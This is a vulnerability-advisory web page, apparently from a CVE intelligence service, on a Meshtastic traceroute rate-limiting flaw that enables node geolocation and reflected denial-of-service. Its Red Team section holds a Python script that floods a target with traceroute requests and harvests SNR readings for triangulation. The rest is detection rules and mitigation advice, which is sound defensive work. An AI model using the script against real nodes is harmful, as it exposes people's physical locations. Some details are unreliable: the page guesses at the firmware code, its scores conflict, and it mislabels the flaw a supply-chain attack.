☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-47065

CVE-2024-47065 Supply Chain Attack in Meshtastic
📅 PUBLISHED: 2025-07-11 17:00 UTC 🔄 UPDATED: 2026-09-23 20:37 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
2.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-47065 is a vulnerability in Meshtastic, an open-source mesh networking solution. The flaw exists in the traceroute functionality, where responses from remote nodes are not rate-limited. This allows an attacker to force a remote node to continuously respond to traceroute requests, enabling the rapid collection of SNR (Signal-to-Noise Ratio) measurements. This can be exploited to compromise positional confidentiality by geolocating nodes based on signal strength data. Additionally, the lack of rate limiting can be used to amplify a 2:1 reflected Denial-of-Service (DoS) attack against the network. The vulnerability is fixed in Meshtastic version 2.5.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Meshtastic firmware, which is distributed as open-source software. Users should verify the integrity of firmware updates by checking checksums provided on the official Meshtastic GitHub releases page. The project is not distributed via NPM, PyPI, Go, or Ruby package managers.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, the vulnerability can be assessed based on its characteristics:

  • Attack Vector (AV): Network (AV:N) - The attack can be performed remotely over the mesh network.
  • Attack Complexity (AC): Low (AC:L) - No special conditions are required to exploit the vulnerability.
  • Privileges Required (PR): None (PR:N) - No authentication is needed.
  • User Interaction (UI): None (UI:N) - The target node does not require user action.
  • Scope (S): Unchanged (S:U) - The vulnerability does not affect other components.
  • Confidentiality (C): High (C:H) - SNR data can be used to geolocate nodes.
  • Integrity (I): None (I:N) - No data integrity impact.
  • Availability (A): Low (A:L) - The DoS aspect can degrade network performance.

Estimated CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability allows for easy reconnaissance and potential DoS attacks.

Deep Dive & Mechanics

The Meshtastic firmware includes a traceroute feature that allows nodes to discover the path to a remote node. When a node receives a traceroute request, it responds with a packet that includes SNR measurements. The vulnerability arises because there is no rate limiting on these responses. An attacker can send a continuous stream of traceroute requests to a target node, forcing it to respond each time. This provides the attacker with a rapid method to collect SNR data, which can be used to triangulate the physical location of the target node. The secondary effect is a reflected DoS attack, where the attacker spoofs the source IP of a victim node, causing the target node to flood the victim with responses.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.5.1): The vulnerable code likely lacks any rate limiting mechanism in the traceroute response handler. The following is a conceptual representation:

// Vulnerable: No rate limiting
void handleTracerouteRequest(NodeID source, NodeID target) {
    // Process request and send response immediately
    sendTracerouteResponse(target, source, getSNR());
}

Patched Code (2.5.1): The patched code introduces a rate limiter, such as a token bucket or a simple time-based throttle.

// Patched: Rate limited
RateLimiter tracerouteLimiter(1, 10); // 1 response per 10 seconds

void handleTracerouteRequest(NodeID source, NodeID target) {
    if (tracerouteLimiter.allow()) {
        sendTracerouteResponse(target, source, getSNR());
    } else {
        // Drop request silently
        log("Traceroute request rate limited");
    }
}

Exploitation & Lab Setup

Red Team

Objective: Collect SNR data from a target node to geolocate it.

Prerequisites:

  • A Meshtastic device with firmware version < 2.5.1.
  • Knowledge of the target node's ID.
  • A computer with Python and the Meshtastic Python library installed.

Exploitation Steps:

  1. Identify Target: Use a mesh network scanner to find a target node.
  2. Send Traceroute Requests: Use the Meshtastic Python library to send continuous traceroute requests.
import meshtastic
import meshtastic.serial_interface
import time

interface = meshtastic.serial_interface.SerialInterface()
target_node_id = "!12345678"  # Replace with actual node ID

for i in range(100):
    interface.sendTraceroute(target_node_id)
    time.sleep(0.1)  # No rate limiting, so we can send fast
  1. Collect SNR Data: The responses will contain SNR values. Log them for analysis.
def on_receive(packet):
    if packet['decoded']['portnum'] == 'TRACEROUTE_APP':
        snr = packet['rxSnr']
        print(f"Received SNR: {snr}")

interface.on_receive = on_receive
  1. Geolocate: Use the collected SNR data with triangulation algorithms to estimate the target's position.

Blue Team

Objective: Detect and mitigate exploitation attempts.

Detection:

  • Monitor for an unusually high number of traceroute requests from a single node.
  • Use the detection rules provided in the Detection Engineering section.

Mitigation:

  • Update all Meshtastic devices to version 2.5.1 or later.
  • Implement network-level rate limiting if possible.
  • Monitor for DoS attacks and block offending nodes.

Indicators of Compromise (IOCs)

  • Network Traffic: High volume of traceroute request/response packets between two nodes.
  • Node Behavior: A node responding to traceroute requests at a rate exceeding 1 per second.
  • Logs: Repeated entries of traceroute requests from the same source node in a short time frame.

Detection Engineering

YARA Rule

rule CVE_2024_47065_Meshtastic_Traceroute_Flood {
    meta:
        description = "Detects Meshtastic traceroute flood attempts"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47065"
    strings:
        $traceroute = "traceroute" nocase
        $snr = "snr" nocase
    condition:
        #traceroute > 10 and #snr > 10
}

Sigma Rule

title: Meshtastic Traceroute Flood Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects a high volume of traceroute requests in Meshtastic network traffic
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47065
logsource:
    category: network
    product: meshtastic
detection:
    selection:
        event: traceroute_request
    timeframe: 1m
    condition: selection | count() > 50
falsepositives:
    - Legitimate network diagnostics
level: high

Suricata Rule

alert udp any any -> any any (msg:"CVE-2024-47065 Meshtastic Traceroute Flood"; content:"|00 00 00 00|"; depth:4; offset:0; threshold: type both, track by_src, count 50, seconds 60; sid:1000001; rev:1;)

Note: The Suricata rule assumes a specific packet signature. Adjust the content match based on actual Meshtastic protocol details.

Remediation & Mitigation

  1. Immediate Action: Update all Meshtastic devices to firmware version 2.5.1 or later.
  2. Network Segmentation: Isolate Meshtastic networks from untrusted devices.
  3. Rate Limiting: Implement rate limiting at the network level for traceroute packets.
  4. Monitoring: Deploy detection rules to identify and alert on traceroute floods.
  5. User Education: Inform users about the risks of exposing SNR data and the importance of firmware updates.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-47065/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.